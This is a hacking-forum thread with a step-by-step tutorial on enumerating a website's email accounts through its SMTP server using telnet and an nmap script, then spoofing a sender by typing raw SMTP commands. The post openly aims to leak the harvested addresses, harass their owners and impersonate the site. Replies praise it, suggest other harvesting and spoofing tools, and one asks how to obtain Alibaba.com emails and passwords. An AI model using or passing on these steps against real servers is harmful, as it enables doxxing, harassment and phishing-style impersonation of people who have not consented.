Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Retrieve (and spoof) email addresses from a website in 3 easy steps

In this tutorial, you will need:
Either Kali Linux or an operating system with Nmap installed


Intro:
Many websites have their own email addresses that they use to send and receive emails. How do they do this? They have an SMTP (Simple Mail Transport Protocol) server installed on their system, usually on port 25. This server contains a database of all the website's emails, and websites often leave it unsecured.So how would you leak their emails, send them funny messages, or even spoof their emails? Well read this tutorial and find out!


Step 1:
Open up your command line.

Step 2:
We will test to see whether or not the website left their SMTP server open.

Enter the following command:
Code
telnet [website address] 25,465,587

If you receive a message like "Connected to [IP Address]" then congratulations! Their server is open. If not, then try ports 465 and 587.

Step 3:
Exit from telnet. We will now use nmap to extract email addresses from the SMTP server.

Enter the following command:
Code
nmap --script smtp-enum-users.nse -p 25 [website address]

Nmap should tell you all the user accounts on the server.




Good, excellent! Now you have their email addresses. You can leak them to the public or send them random shit. If that's all you wanted to do then you can stop reading this tutorial. But what if you want to spoof their emails?


How to Spoof:

Step 1:
Open up your command line

Step 2:
Enter the command
Code
telnet [website address] 25

Step 3:
You are required to say hello to the server. Type the command:
Code
HELO [type anything here]
and wait for the server to respond back. If you receive no response, try
Code
EHLO
instead.

Step 4:
Type in the email address you want to spoof.
Code
MAIL FROM: [fake username]@[website address]
and press enter

Step 5:
Type the email you would like to send a message to
Code
RCPT TO: [username]@[website address]
and press enter

Step 6:
Type
Code
DATA
and press enter. Then type
Code
SUBJECT: [any subject here]
and press enter twice.

Step 7:
Begin typing your message. When you are done just type a single "." on a new line and press enter. Your message will be sent.


Congrats. Now you spoofed their email.
Very cool tutorial! Bookmarked this for use at a later time. Good job man.
Seems Promising. But can you elaborate what the nmap script actually does behind the curtain . means how the script finds the email ?
Thought Telnet mainly functioned on port 23 not port 25?

Scratch that just noticed youu're targeting SMTP on port 25. Never mind
All in on Ethereum
(Mar 31, 2017 01:50 AM)rahulguptayz Wrote:  Seems Promising. But can you elaborate what the nmap script actually does behind the curtain . means how the script finds the email ?

It automates the tedious process of sending VRFY,EXPN, and RCPT TO commands to discover email accounts on the system.
Added to my collection. Thanks
posting to come back later.
please i want to how to get emails and passwords from Allibaba.com
This will make a great addition :)))) thank you
Great short and effective tutorial
Very Nice tutorial mate this will come in handy later on. Thanks bro
What a nice tutorial, thank you.
sas
Why don't we just use theharvester to get emails then spoof them with an email spoofer like the one in setoolkit?
Isn't that easier?
awesome tut.

(Jul 2, 2017 09:52 AM)AnonymousRex Wrote:  Why don't we just use theharvester to get emails then spoof them with an email spoofer like the on in setoolkit?
Isn't that easier?
didn't know theharvester can do this :O
(Jul 2, 2017 10:12 AM)andrius94 Wrote:  awesome tut.

didn't know theharvester can do this :O

theharvester is a tool designed to get emails from a website using search engines..


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SIM-5355723Mar 13, 2025 09:54 AM 9 742 Mar 13, 2025 09:54 AM
Last Post: Sickedrat
by ahmmuJun 12, 2024 01:13 AM 194 5,900 Jun 12, 2024 01:13 AM
Last Post: Bastille
by poppin27May 18, 2024 01:24 PM 108 13,282 May 18, 2024 01:24 PM
Last Post: HofmanoID11